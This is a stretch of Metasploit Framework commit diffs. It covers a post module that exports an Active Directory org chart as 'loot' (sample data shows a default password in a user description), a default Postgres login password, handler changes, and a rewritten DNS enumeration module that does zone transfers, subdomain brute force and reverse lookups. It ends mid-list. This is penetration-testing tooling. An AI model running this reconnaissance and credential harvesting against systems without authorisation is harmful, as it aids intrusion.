STORE_LOOT true yes Store the organisational chart information in CSV format in loot
WITH_MANAGERS_ONLY false no Only users with managers
msf post(make_csv_orgchart) > run
Users & Managers
================
cn description title phone department division e-mail company reports_to
-- ----------- ----- ----- ---------- -------- ------ ------- ----------
IT Manager Deputy GOAT IT Director it.manager@goat.stu IT Director
IT Director Director of Goat IT it.director@goat.stu
IT Leader: Badger Team Leader of Blue Team Operations it.leader.badger@goat.stu IT Manager
IT Leader: Otter Team Leader: Offensive Operations it.leader.otter@goat.stu IT Manager
Oswold Otter (IT Team) Consultant oswold.otter@goat.stu IT Leader: Otter
Bertie Badger (IT Security Team) Default pass is badger123 IT Security Team Deputy bertie.badger@goat.stu IT Leader: Badger
[*] CSV Organisational Chart Information saved to: /usr/home/s/stuart/.msf4/loot/20151221175733_stufusdev_192.0.2.140_ad.orgchart_189769.txt
[*] Post module execution completed
```
The contents of the CSV file are shown below:
```
$ cat /usr/home/s/stuart/.msf4/loot/20151221175733_stufusdev_192.0.2.140_ad.orgchart_189769.txt
cn,description,title,phone,department,division,e-mail,company,reports_to
"IT Manager","","Deputy GOAT IT Director","","","","it.manager@goat.stu","","IT Director"
"IT Director","","Director of Goat IT","","","","it.director@goat.stu","",""
"IT Leader: Badger","","Team Leader of Blue Team Operations","","","","it.leader.badger@goat.stu","","IT Manager"
"IT Leader: Otter","","Team Leader: Offensive Operations","","","","it.leader.otter@goat.stu","","IT Manager"
"Oswold Otter (IT Team)","","Consultant","","","","oswold.otter@goat.stu","","IT Leader: Otter"
"Bertie Badger (IT Security Team)","Default pass is badger123","IT Security Team Deputy","","","","bertie.badger@goat.stu","","IT Leader: Badger"
```
When this was imported into Visio with default options set, it produced the following organisational chart:
![screenshot_orgchart](https://cloud.githubusercontent.com/assets/12296344/11937572/f5906320-a80c-11e5-8faa-6439872df362.png)

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.11.20"
VERSION = "4.11.21"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -400,8 +400,7 @@ class ReadableText
'Description'
])
mod.options.sorted.each { |entry|
name, opt = entry
mod.options.sorted.each do |name, opt|
val = mod.datastore[name] || opt.default
next if (opt.advanced?)
@ -409,7 +408,7 @@ class ReadableText
next if (missing && opt.valid?(val))
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
}
end
return tbl.to_s
end
@ -420,24 +419,23 @@ class ReadableText
# @param indent [String] the indentation to use.
# @return [String] the string form of the information.
def self.dump_advanced_options(mod, indent = '')
output = ''
pad = indent
tbl = Rex::Ui::Text::Table.new(
'Indent' => indent.length,
'Columns' =>
[
'Name',
'Current Setting',
'Required',
'Description'
])
mod.options.sorted.each { |entry|
name, opt = entry
mod.options.sorted.each do |name, opt|
next unless opt.advanced?
val = mod.datastore[name] || opt.default
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
end
next if (!opt.advanced?)
val = mod.datastore[name] || opt.default.to_s
desc = word_wrap(opt.desc, indent.length + 3)
desc = desc.slice(indent.length + 3, desc.length)
output << pad + "Name : #{name}\n"
output << pad + "Current Setting: #{val}\n"
output << pad + "Description : #{desc}\n"
}
return output
return tbl.to_s
end
# Dumps the evasion options associated with the supplied module.
@ -446,25 +444,23 @@ class ReadableText
# @param indent [String] the indentation to use.
# @return [String] the string form of the information.
def self.dump_evasion_options(mod, indent = '')
output = ''
pad = indent
tbl = Rex::Ui::Text::Table.new(
'Indent' => indent.length,
'Columns' =>
[
'Name',
'Current Setting',
'Required',
'Description'
])
mod.options.sorted.each { |entry|
name, opt = entry
mod.options.sorted.each do |name, opt|
next unless opt.evasion?
val = mod.datastore[name] || opt.default
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
end
next if (!opt.evasion?)
val = mod.datastore[name] || opt.default || ''
desc = word_wrap(opt.desc, indent.length + 3)
desc = desc.slice(indent.length + 3, desc.length)
output << pad + "Name : #{name}\n"
output << pad + "Current Setting: #{val}\n"
output << pad + "Description : #{desc}\n"
}
return output
return tbl.to_s
end
# Dumps the references associated with the supplied module.

View File

@ -1197,9 +1197,15 @@ class Exploit < Msf::Module
# value can be one of the Handler::constants.
#
def handler(*args)
return if not payload_instance
return if not handler_enabled?
return payload_instance.handler(*args)
if payload_instance && handler_enabled?
payload_instance.handler(*args)
end
end
def interrupt_handler
if payload_instance && handler_enabled? && payload_instance.respond_to?(:interrupt_wait_for_session)
payload_instance.interrupt_wait_for_session()
end
end
##
@ -1351,6 +1357,9 @@ class Exploit < Msf::Module
# Report the failure (and attempt) in the database
self.report_failure
# Interrupt any session waiters in the handler
self.interrupt_handler
end
def report_failure

View File

@ -32,7 +32,7 @@ module Exploit::Remote::Postgres
Opt::RPORT(5432),
OptString.new('DATABASE', [ true, 'The database to authenticate against', 'template1']),
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'postgres']),
OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', '']),
OptString.new('PASSWORD', [ false, 'The password for the specified username. Leave blank for a random password.', 'postgres']),
OptBool.new('VERBOSE', [false, 'Enable verbose output', false]),
OptString.new('SQL', [ false, 'The SQL query to execute', 'select version()']),
OptBool.new('RETURN_ROWSET', [false, "Set to true to see query result sets", true])

View File

@ -163,6 +163,14 @@ module Handler
return session
end
#
# Interrupts a wait_for_session call by notifying with a nil event
#
def interrupt_wait_for_session
return unless session_waiter_event
session_waiter_event.notify(nil)
end
#
# Set by the exploit module to configure handler
#

View File

@ -828,7 +828,7 @@ class Core
end
end
args.each { |name|
args.each do |name|
mod = framework.modules.create(name)
if (mod == nil)
@ -836,7 +836,7 @@ class Core
else
show_options(mod)
end
}
end
end
#
@ -2600,9 +2600,9 @@ class Core
# Tab completion for the unset command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
# @param words [Array<String>] the previously completed words on the command
# line. `words` is always at least 1 when tab completion has reached this
# stage since the command itself has been completed.
def cmd_unset_tabs(str, words)
datastore = active_module ? active_module.datastore : self.framework.datastore
datastore.keys

View File

@ -1031,8 +1031,9 @@ module Net # :nodoc:
@logger.info "Received #{ans[0].size} bytes from #{ans[1][2]+":"+ans[1][1].to_s}"
begin
response = Net::DNS::Packet.parse(ans[0],ans[1])
if response && response.answer && response.answer[0] && response.answer[0].type == "SOA"
return unless (response = Net::DNS::Packet.parse(ans[0],ans[1]))
return if response.answer.empty?
if response.answer[0].type == "SOA"
soa += 1
if soa >= 2
break
@ -1214,6 +1215,7 @@ module Net # :nodoc:
end
if block_given?
yield [buffer,["",@config[:port],ns.to_s,ns.to_s]]
break
else
return [buffer,["",@config[:port],ns.to_s,ns.to_s]]
end

View File

@ -8,7 +8,7 @@ require 'net/dns/rr/types'
require 'net/dns/rr/classes'
%w[a ns mx cname txt soa ptr aaaa mr srv].each do |file|
%w[a ns mx cname txt hinfo soa ptr aaaa mr srv].each do |file|
require "net/dns/rr/#{file}"
end

View File

@ -62,7 +62,7 @@ module Net
len = data.unpack("@#{offset} C")[0]
@cpu = data[offset+1..offset+1+len]
offset += len+1
len = @data.unpack("@#{offset} C")[0]
len = data.unpack("@#{offset} C")[0]
@os = data[offset+1..offset+1+len]
return offset += len+1
end

View File

@ -1,483 +1,425 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require "net/dns/resolver"
require 'net/dns/resolver'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'DNS Record Scanner and Enumerator ',
'Description' => %q{
'Name' => 'DNS Record Scanner and Enumerator',
'Description' => %q(
This module can be used to gather information about a domain from a
given DNS server by performing various DNS queries such as zone
transfers, reverse lookups, SRV record bruteforcing, and other techniques.
},
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '1999-0532'],
['OSVDB', '492'],
]
))
),
'Author' => [
'Carlos Perez <carlos_perez[at]darkoperator.com>',
'Nixawk'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '1999-0532'],
['OSVDB', '492']
]))
register_options(
[
OptString.new('DOMAIN', [ true, "The target domain name"]),
OptBool.new('ENUM_AXFR', [ true, 'Initiate a zone transfer against each NS record', true]),
OptBool.new('ENUM_TLD', [ true, 'Perform a TLD expansion by replacing the TLD with the IANA TLD list', false]),
OptBool.new('ENUM_STD', [ true, 'Enumerate standard record types (A,MX,NS,TXT and SOA)', true]),
OptBool.new('ENUM_BRT', [ true, 'Brute force subdomains and hostnames via the supplied wordlist', false]),
OptBool.new('ENUM_IP6', [ true, 'Brute force hosts with IPv6 AAAA records',false]),
OptString.new('DOMAIN', [true, 'The target domain']),
OptBool.new('ENUM_AXFR', [true, 'Initiate a zone transfer against each NS record', true]),
OptBool.new('ENUM_BRT', [true, 'Brute force subdomains and hostnames via the supplied wordlist', false]),
OptBool.new('ENUM_A', [true, 'Enumerate DNS A record', true]),
OptBool.new('ENUM_CNAME', [true, 'Enumerate DNS CNAME record', true]),
OptBool.new('ENUM_MX', [true, 'Enumerate DNS MX record', true]),
OptBool.new('ENUM_NS', [true, 'Enumerate DNS NS record', true]),
OptBool.new('ENUM_SOA', [true, 'Enumerate DNS SOA record', true]),
OptBool.new('ENUM_TXT', [true, 'Enumerate DNS TXT record', true]),
OptBool.new('ENUM_RVL', [ true, 'Reverse lookup a range of IP addresses', false]),
OptBool.new('ENUM_SRV', [ true, 'Enumerate the most common SRV records', true]),
OptPath.new('WORDLIST', [ false, "Wordlist for domain name bruteforcing", ::File.join(Msf::Config.data_directory, "wordlists", "namelist.txt")]),
OptAddress.new('NS', [ false, "Specify the nameserver to use for queries (default is system DNS)" ]),
OptBool.new('ENUM_TLD', [true, 'Perform a TLD expansion by replacing the TLD with the IANA TLD list', false]),
OptBool.new('ENUM_SRV', [true, 'Enumerate the most common SRV records', true]),
OptBool.new('STOP_WLDCRD', [true, 'Stops bruteforce enumeration if wildcard resolution is detected', false]),
OptAddress.new('NS', [false, 'Specify the nameserver to use for queries (default is system DNS)']),
OptAddressRange.new('IPRANGE', [false, "The target address range or CIDR identifier"]),
OptBool.new('STOP_WLDCRD', [ true, 'Stops bruteforce enumeration if wildcard resolution is detected', false])
OptInt.new('THREADS', [false, 'Threads for ENUM_BRT', 1]),
OptPath.new('WORDLIST', [false, 'Wordlist of subdomains', ::File.join(Msf::Config.data_directory, 'wordlists', 'namelist.txt')])
], self.class)
register_advanced_options(
[
OptInt.new('RETRY', [ false, "Number of times to try to resolve a record if no response is received", 2]),
OptInt.new('RETRY_INTERVAL', [ false, "Number of seconds to wait before doing a retry", 2]),
OptBool.new('TCP_DNS', [false, "Run queries over TCP", false]),
OptInt.new('TIMEOUT', [false, 'DNS TIMEOUT', 8]),
OptInt.new('RETRY', [false, 'Number of times to try to resolve a record if no response is received', 2]),
OptInt.new('RETRY_INTERVAL', [false, 'Number of seconds to wait before doing a retry', 2]),
OptBool.new('TCP_DNS', [false, 'Run queries over TCP', false])
], self.class)
end
def switchdns(target)
if not datastore['NS'].nil?
print_status("Using DNS Server: #{datastore['NS']}")
@res.nameserver=(datastore['NS'])
@nsinuse = datastore['NS']
else
querysoa = @res.query(target, "SOA")
if (querysoa)
(querysoa.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr|
query1soa = @res.search(rr.mname)
if (query1soa and query1soa.answer[0])
print_status("Setting DNS Server to #{target} NS: #{query1soa.answer[0].address}")
@res.nameserver=(query1soa.answer[0].address)
@nsinuse = query1soa.answer[0].address
end
end
end
end
end
def wildcard(target)
rendsub = rand(10000).to_s
query = @res.query("#{rendsub}.#{target}", "A")
if query.answer.length != 0
print_status("This domain has wildcards enabled!!")
query.answer.each do |rr|
print_status("Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Net::DNS::RR::CNAME
end
return true
else
return false
end
end
def genrcd(target)
print_status("Retrieving general DNS records")
query = @res.search(target)
if (query)
query.answer.each do |rr|
next unless rr.class == Net::DNS::RR::A
print_status("Domain: #{target} IP address: #{rr.address} Record: A ")
report_note(:host => @nsinuse.to_s,
:proto => 'udp',
:sname => 'dns',
:port => 53 ,
:type => 'dns.enum',
:update => :unique_data,
:data => "#{rr.address.to_s},#{target},A")
end
end
query = @res.query(target, "SOA")
if (query)
(query.answer.select { |i| i.class == Net::DNS::RR::SOA}).each do |rr|
query1 = @res.search(rr.mname)
if (query1)
query1.answer.each do |ip|
print_status("Start of Authority: #{rr.mname} IP address: #{ip.address} Record: SOA")
report_note(:host => @nsinuse.to_s,
:proto => 'udp',
:sname => 'dns',
:port => 53 ,
:type => 'dns.enum',
:update => :unique_data,
:data => "#{ip.address.to_s},#{rr.mname},SOA")
end
end
end
end
query = @res.query(target, "NS")
if (query)
(query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |rr|
query1 = @res.search(rr.nsdname)
if (query1)
query1.answer.each do |ip|
next unless ip.class == Net::DNS::RR::A
print_status("Name Server: #{rr.nsdname} IP address: #{ip.address} Record: NS")
report_note(:host => @nsinuse.to_s,
:proto => 'udp',
:sname => 'dns',
:port => 53 ,
:type => 'dns.enum',
:update => :unique_data,
:data => "#{ip.address.to_s},#{rr.nsdname},NS")
end
end
end
end
query = @res.query(target, "MX")
if (query)
(query.answer.select { |i| i.class == Net::DNS::RR::MX}).each do |rr|
print_status("Name: #{rr.exchange} Preference: #{rr.preference} Record: MX")
report_note(:host => @nsinuse.to_s,
:proto => 'udp',
:sname => 'dns',
:port => 53 ,
:type => 'dns.enum',
:update => :unique_data,
:data => "#{rr.exchange},MX")
end
end
query = @res.query(target, "TXT")
if (query)
query.answer.each do |rr|
print_status(rr.inspect)
print_status("Text: #{rr.inspect}")
report_note(:host => @nsinuse.to_s,
:proto => 'udp',
:sname => 'dns',
:port => 53 ,
:type => 'dns.enum',
:update => :unique_data,
:data => rr.inspect)
end
end
end
def tldexpnd(targetdom,nssrv)
target = targetdom.scan(/(\S*)[.]\w*\z/).join
target.chomp!
if not nssrv.nil?
@res.nameserver=(nssrv)
@nsinuse = nssrv
end
i, a = 0, []
tlds = [
"com", "org", "net", "edu", "mil", "gov", "uk", "af", "al", "dz",
"as", "ad", "ao", "ai", "aq", "ag", "ar", "am", "aw", "ac", "au",
"at", "az", "bs", "bh", "bd", "bb", "by", "be", "bz", "bj", "bm",
"bt", "bo", "ba", "bw", "bv", "br", "io", "bn", "bg", "bf", "bi",
"kh", "cm", "ca", "cv", "ky", "cf", "td", "cl", "cn", "cx", "cc",
"co", "km", "cd", "cg", "ck", "cr", "ci", "hr", "cu", "cy", "cz",
"dk", "dj", "dm", "do", "tp", "ec", "eg", "sv", "gq", "er", "ee",
"et", "fk", "fo", "fj", "fi", "fr", "gf", "pf", "tf", "ga", "gm",
"ge", "de", "gh", "gi", "gr", "gl", "gd", "gp", "gu", "gt", "gg",
"gn", "gw", "gy", "ht", "hm", "va", "hn", "hk", "hu", "is", "in",
"id", "ir", "iq", "ie", "im", "il", "it", "jm", "jp", "je", "jo",
"kz", "ke", "ki", "kp", "kr", "kw", "kg", "la", "lv", "lb", "ls",
"lr", "ly", "li", "lt", "lu", "mo", "mk", "mg", "mw", "my", "mv",
"ml", "mt", "mh", "mq", "mr", "mu", "yt", "mx", "fm", "md", "mc",
"mn", "ms", "ma", "mz", "mm", "na", "nr", "np", "nl", "an", "nc",
"nz", "ni", "ne", "ng", "nu", "nf", "mp", "no", "om", "pk", "pw",
"pa", "pg", "py", "pe", "ph", "pn", "pl", "pt", "pr", "qa", "re",
"ro", "ru", "rw", "kn", "lc", "vc", "ws", "sm", "st", "sa", "sn",
"sc", "sl", "sg", "sk", "si", "sb", "so", "za", "gz", "es", "lk",
"sh", "pm", "sd", "sr", "sj", "sz", "se", "ch", "sy", "tw", "tj",
"tz", "th", "tg", "tk", "to", "tt", "tn", "tr", "tm", "tc", "tv",
"ug", "ua", "ae", "gb", "us", "um", "uy", "uz", "vu", "ve", "vn",
"vg", "vi", "wf", "eh", "ye", "yu", "za", "zr", "zm", "zw", "int",
"gs", "info", "biz", "su", "name", "coop", "aero" ]
print_status("Performing Top Level Domain expansion using #{tlds.size} TLDs")
tlds.each do |tld|
query1 = @res.search("#{target}.#{tld}")
if (query1)
query1.answer.each do |rr|
print_status("Domain: #{target}.#{tld} Name: #{rr.name} IP address: #{rr.address} Record: A ") if rr.class == Net::DNS::RR::A
report_note(:host => @nsinuse.to_s,
:proto => 'udp',
:sname => 'dns',
:port => 53,
:type => 'dns.enum',
:update => :unique_data,
:data => "#{rr.address.to_s},#{target}.#{tld},A") if rr.class == Net::DNS::RR::A
end
end
end
end
def dnsbrute(target, wordlist, nssrv)
print_status("Running bruteforce against domain #{target}")
arr = []
i, a = 0, []
::File.open(wordlist, "rb").each_line do |line|
if not nssrv.nil?
@res.nameserver=(nssrv)
@nsinuse = nssrv
end
query1 = @res.search("#{line.chomp}.#{target}")
if (query1)
query1.answer.each do |rr|
if rr.class == Net::DNS::RR::A
print_status("Hostname: #{line.chomp}.#{target} IP address: #{rr.address.to_s}")
report_note(:host => @nsinuse.to_s,
:proto => 'udp',
:sname => 'dns',
:port => 53 ,
:type => 'dns.enum',
:update => :unique_data,
:data => "#{rr.address.to_s},#{line.chomp}.#{target},A")
next unless rr.class == Net::DNS::RR::CNAME
end
end
end
end
end
def bruteipv6(target, wordlist, nssrv)
print_status("Bruteforcing IPv6 addresses against domain #{target}")
arr = []
i, a = 0, []
arr = IO.readlines(wordlist)
if not nssrv.nil?
@res.nameserver=(nssrv)
@nsinuse = nssrv
end
arr.each do |line|
query1 = @res.search("#{line.chomp}.#{target}", "AAAA")
if (query1)
query1.answer.each do |rr|
if rr.class == Net::DNS::RR::AAAA
print_status("Hostname: #{line.chomp}.#{target} IPv6 Address: #{rr.address.to_s}")
report_note(:host => @nsinuse.to_s,
:proto => 'udp',
:sname => 'dns',
:port => 53 ,
:type => 'dns.enum',
:update => :unique_data,
:data => "#{rr.address.to_s},#{line.chomp}.#{target},AAAA")
next unless rr.class == Net::DNS::RR::CNAME
end
end
end
end
end
def reverselkp(iprange,nssrv)
print_status("Running reverse lookup against IP range #{iprange}")
if not nssrv.nil?
@res.nameserver = (nssrv)
@nsinuse = nssrv
end
ar = Rex::Socket::RangeWalker.new(iprange)
tl = []
while (true)
# Spawn threads for each host
while (tl.length < @threadnum)
ip = ar.next_ip
break if not ip
tl << framework.threads.spawn("Module(#{self.refname})-#{ip}", false, ip.dup) do |tip|
begin
query = @res.query(tip)
raise ::Rex::ConnectionError
query.each_ptr do |addresstp|
print_status("Hostname: #{addresstp} IP address: #{tip.to_s}")
report_note(:host => @nsinuse.to_s,
:proto => 'udp',
:sname => 'dns',
:port => 53 ,
:type => 'dns.enum',
:update => :unique_data,
:data => "#{addresstp},#{tip},A")
end
rescue ::Interrupt
raise $!
rescue ::Rex::ConnectionError
rescue ::Exception => e
print_error("Error: #{tip}: #{e.message}")
elog("Error running against host #{tip}: #{e.message}\n#{e.backtrace.join("\n")}")
end
end
end
# Exit once we run out of hosts
if(tl.length == 0)
break
end
tl.first.join
tl.delete_if { |t| not t.alive? }
end
end
# SRV Record Enumeration
def srvqry(dom,nssrv)
print_status("Enumerating SRV records for #{dom}")
i, a = 0, []
# Most common SRV Records
srvrcd = [
"_gc._tcp.","_kerberos._tcp.", "_kerberos._udp.","_ldap._tcp.","_test._tcp.",
"_sips._tcp.","_sip._udp.","_sip._tcp.","_aix._tcp.","_aix._tcp.","_finger._tcp.",
"_ftp._tcp.","_http._tcp.","_nntp._tcp.","_telnet._tcp.","_whois._tcp.","_h323cs._tcp.",
"_h323cs._udp.","_h323be._tcp.","_h323be._udp.","_h323ls._tcp.","_h323ls._udp.",
"_sipinternal._tcp.","_sipinternaltls._tcp.","_sip._tls.","_sipfederationtls._tcp.",
"_jabber._tcp.","_xmpp-server._tcp.","_xmpp-client._tcp.","_imap._tcp.","_certificates._tcp.",
"_crls._tcp.","_pgpkeys._tcp.","_pgprevokations._tcp.","_cmp._tcp.","_svcp._tcp.","_crl._tcp.",
"_ocsp._tcp.","_PKIXREP._tcp.","_smtp._tcp.","_hkp._tcp.","_hkps._tcp.","_jabber._udp.",
"_xmpp-server._udp.","_xmpp-client._udp.","_jabber-client._tcp.","_jabber-client._udp."]
srvrcd.each do |srvt|
trg = "#{srvt}#{dom}"
query = @res.query(trg , Net::DNS::SRV)
next unless query
query.answer.each do |srv|
next if srv.type == "CNAME"
print_status("SRV Record: #{trg} Host: #{srv.host} Port: #{srv.port} Priority: #{srv.priority}")
end
end
print_status("Done")
end
# For Performing Zone Transfers
def axfr(target, nssrv)
print_status("Performing zone transfer against all nameservers in #{target}")
if not nssrv.nil?
@res.nameserver=(nssrv)
@nsinuse = nssrv
end
@res.tcp_timeout=15
query = @res.query(target, "NS")
if query && query.answer.length != 0
(query.answer.select { |i| i.class == Net::DNS::RR::NS}).each do |nsrcd|
print_status("Testing nameserver: #{nsrcd.nsdname}")
nssrvquery = @res.query(nsrcd.nsdname, "A")
if nssrvquery.answer.length == 0
nssrvip = Rex::Socket.gethostbyname(nsrcd.nsdname)[3].bytes.reduce {|a,b| [a,b].join(".")}
else
nssrvip = nssrvquery.answer[0].address.to_s
end
begin
@res.nameserver=(nssrvip)
@nsinuse = nssrvip
zone = []
begin
zone = @res.axfr(target)
rescue ::NoResponseError
end
if zone.length != 0
print_status("Zone transfer successful")
report_note(:host => nssrvip,
:proto => 'udp',
:sname => 'dns',
:port => 53 ,
:type => 'dns.enum',
:update => :unique_data,
:data => zone)
# Prints each record according to its type
zone.each do |response|
response.answer.each do |rr|
begin
case rr.type
when "A"
print_status("Name: #{rr.name} IP address: #{rr.address} Record: A ")
when "SOA"
print_status("Name: #{rr.mname} Record: SOA")
when "MX"
print_status("Name: #{rr.exchange} Preference: #{rr.preference} Record: MX")
when "CNAME"
print_status("Name: #{rr.cname} Record: CNAME")
when "HINFO"
print_status("CPU: #{rr.cpu} OS: #{rr.os} Record: HINFO")
when "AAAA"
print_status("IPv6 Address: #{rr.address} Record: AAAA")
when "NS"
print_status("Name: #{rr.nsdname} Record: NS")
when "TXT"
print_status("Text: #{rr.inspect}")
when "SRV"
print_status("Host: #{rr.host} Port: #{rr.port} Priority: #{rr.priority} Record: SRV")
end
rescue ActiveRecord::RecordInvalid
# Do nothing. Probably tried to store :host => 127.0.0.1
end
end
end
else
print_error("Zone transfer failed (length was zero)")
end
rescue Exception => e
print_error("Error executing zone transfer: #{e.message}")
elog("Error executing zone transfer: #{e.message}\n#{e.backtrace.join("\n")}")
end
end
else
print_error("Could not resolve domain #{target}")
end
end
def run
@res = Net::DNS::Resolver.new()
if datastore['TCP_DNS']
vprint_status("Using DNS/TCP")
@res.use_tcp = true
end
@res.retry = datastore['RETRY'].to_i
@res.retry_interval = datastore['RETRY_INTERVAL'].to_i
@threadnum = datastore['THREADS'].to_i
wldcrd = wildcard(datastore['DOMAIN'])
switchdns(datastore['DOMAIN'])
domain = datastore['DOMAIN']
is_wildcard = dns_wildcard_enabled?(domain)
if(datastore['ENUM_STD'])
genrcd(datastore['DOMAIN'])
end
axfr(domain) if datastore['ENUM_AXFR']
get_a(domain) if datastore['ENUM_A']
get_cname(domain) if datastore['ENUM_CNAME']
get_ns(domain) if datastore['ENUM_NS']
get_mx(domain) if datastore['ENUM_MX']
get_soa(domain) if datastore['ENUM_SOA']
get_txt(domain) if datastore['ENUM_TXT']
get_tld(domain) if datastore['ENUM_TLD']
get_srv(domain) if datastore['ENUM_SRV']
threads = datastore['THREADS']
dns_reverse(datastore['IPRANGE'], threads) if datastore['ENUM_RVL']
if(datastore['ENUM_TLD'])
tldexpnd(datastore['DOMAIN'],datastore['NS'])
return unless datastore['ENUM_BRT']
if is_wildcard
dns_bruteforce(domain, threads) unless datastore['STOP_WLDCRD']
else
dns_bruteforce(domain, threads)
end
end
if(datastore['ENUM_BRT'])
if wldcrd and datastore['STOP_WLDCRD']
print_error("Wildcard record found!")
def dns_query(domain, type)
begin
nameserver = datastore['NS']
if nameserver.blank?
dns = Net::DNS::Resolver.new
else
dnsbrute(datastore['DOMAIN'],datastore['WORDLIST'],datastore['NS'])
dns = Net::DNS::Resolver.new(nameservers: ::Rex::Socket.resolv_to_dotted(nameserver))
end
dns.use_tcp = datastore['TCP_DNS']
dns.udp_timeout = datastore['TIMEOUT']
dns.retry_number = datastore['RETRY']
dns.retry_interval = datastore['RETRY_INTERVAL']
dns.query(domain, type)
rescue ResolverArgumentError, Errno::ETIMEDOUT, ::NoResponseError, ::Timeout::Error => e
print_error("Query #{domain} DNS #{type} - exception: #{e}")
return nil
end
end
def dns_bruteforce(domain, threads)
wordlist = datastore['WORDLIST']
return if wordlist.blank?
threads = 1 if threads <= 0
queue = []
File.foreach(wordlist) do |line|
queue << "#{line.chomp}.#{domain}"
end
records = []
until queue.empty?
t = []
threads = 1 if threads <= 0
if queue.length < threads
# work around issue where threads not created as the queue isn't large enough
threads = queue.length
end
begin
1.upto(threads) do
t << framework.threads.spawn("Module(#{refname})", false, queue.shift) do |test_current|
Thread.current.kill unless test_current
a = get_a(test_current, 'DNS bruteforce records')
records |= a if a
end
end
t.map(&:join)
rescue ::Timeout::Error
ensure
t.each { |x| x.kill rescue nil }
end
end
records
end
if(datastore['ENUM_IP6'])
if wldcrd and datastore['STOP_WLDCRD']
print_status("Wildcard Record Found!")
else
bruteipv6(datastore['DOMAIN'],datastore['WORDLIST'],datastore['NS'])
def dns_reverse(cidr, threads)
iplst = []
ipadd = Rex::Socket::RangeWalker.new(cidr)
numip = ipadd.num_ips
while iplst.length < numip
ipa = ipadd.next_ip
break unless ipa
iplst << ipa
end
records = []
while !iplst.nil? && !iplst.empty?
t = []
threads = 1 if threads <= 0
begin
1.upto(threads) do
t << framework.threads.spawn("Module(#{refname})", false, iplst.shift) do |ip_text|
next if ip_text.nil?
a = get_ptr(ip_text)
records |= a if a
end
end
t.map(&:join)
rescue ::Timeout::Error
ensure
t.each { |x| x.kill rescue nil }
end
end
records
end
if(datastore['ENUM_AXFR'])
axfr(datastore['DOMAIN'],datastore['NS'])
def dns_wildcard_enabled?(domain)
records = get_a("#{Rex::Text.rand_text_alpha(16)}.#{domain}", 'DNS wildcard records')
if records.blank?
false
else
print_warning('dns wildcard is enable OR fake dns server')
true
end
end
if(datastore['ENUM_SRV'])
srvqry(datastore['DOMAIN'],datastore['NS'])
end
def get_ptr(ip)
resp = dns_query(ip, nil)
return if resp.blank? || resp.answer.blank?
if(datastore['ENUM_RVL'] and datastore['IPRANGE'] and not datastore['IPRANGE'].empty?)
reverselkp(datastore['IPRANGE'],datastore['NS'])
records = []
resp.answer.each do |r|
next unless r.class == Net::DNS::RR::PTR
records << r.ptr.to_s
print_good("#{ip}: PTR: #{r.ptr} ")
end
return if records.blank?
save_note(ip, 'DNS PTR records', records)
records
end
def get_a(domain, type='DNS A records')
resp = dns_query(domain, 'A')
return if resp.blank? || resp.answer.blank?
records = []
resp.answer.each do |r|
next unless r.class == Net::DNS::RR::A
records << r.address.to_s
print_good("#{domain} A: #{r.address} ") if datastore['ENUM_BRT']
end
return if records.blank?
save_note(domain, type, records)
records
end
def get_cname(domain)
print_status("querying DNS CNAME records for #{domain}")
resp = dns_query(domain, 'CNAME')
return if resp.blank? || resp.answer.blank?
records = []
resp.answer.each do |r|
next unless r.class == Net::DNS::RR::CNAME
records << r.cname.to_s
print_good("#{domain} CNAME: #{r.cname}")
end
return if records.blank?
save_note(domain, 'DNS CNAME records', records)
records
end
def get_ns(domain)
print_status("querying DNS NS records for #{domain}")
resp = dns_query(domain, 'NS')
return if resp.blank? || resp.answer.blank?
records = []
resp.answer.each do |r|
next unless r.class == Net::DNS::RR::NS
records << r.nsdname.to_s
print_good("#{domain} NS: #{r.nsdname}")
end
return if records.blank?
save_note(domain, 'DNS NS records', records)
records
end
def get_mx(domain)
print_status("querying DNS MX records for #{domain}")
begin
resp = dns_query(domain, 'MX')
return if resp.blank? || resp.answer.blank?
records = []
resp.answer.each do |r|
next unless r.class == Net::DNS::RR::MX
records << r.exchange.to_s
print_good("#{domain} MX: #{r.exchange}")
end
rescue SocketError => e
print_error("Query #{domain} DNS MX - exception: #{e}")
ensure
return if records.blank?
save_note(domain, 'DNS MX records', records)
records
end
end
def get_soa(domain)
print_status("querying DNS SOA records for #{domain}")
resp = dns_query(domain, 'SOA')
return if resp.blank? || resp.answer.blank?
records = []
resp.answer.each do |r|
next unless r.class == Net::DNS::RR::SOA
records << r.mname.to_s
print_good("#{domain} SOA: #{r.mname}")
end
return if records.blank?
save_note(domain, 'DNS SOA records', records)
records
end
def get_txt(domain)
print_status("querying DNS TXT records for #{domain}")
resp = dns_query(domain, 'TXT')
return if resp.blank? || resp.answer.blank?
records = []
resp.answer.each do |r|
next unless r.class == Net::DNS::RR::TXT
records << r.txt.to_s
print_good("#{domain} TXT: #{r.txt}")
end
return if records.blank?
save_note(domain, 'DNS TXT records', records)
records
end
def get_tld(domain)
begin
print_status("querying DNS TLD records for #{domain}")
domain_ = domain.split('.')
domain_.pop
domain_ = domain_.join('.')
tlds = [
'com', 'org', 'net', 'edu', 'mil', 'gov', 'uk', 'af', 'al', 'dz',
'as', 'ad', 'ao', 'ai', 'aq', 'ag', 'ar', 'am', 'aw', 'ac', 'au',
'at', 'az', 'bs', 'bh', 'bd', 'bb', 'by', 'be', 'bz', 'bj', 'bm',
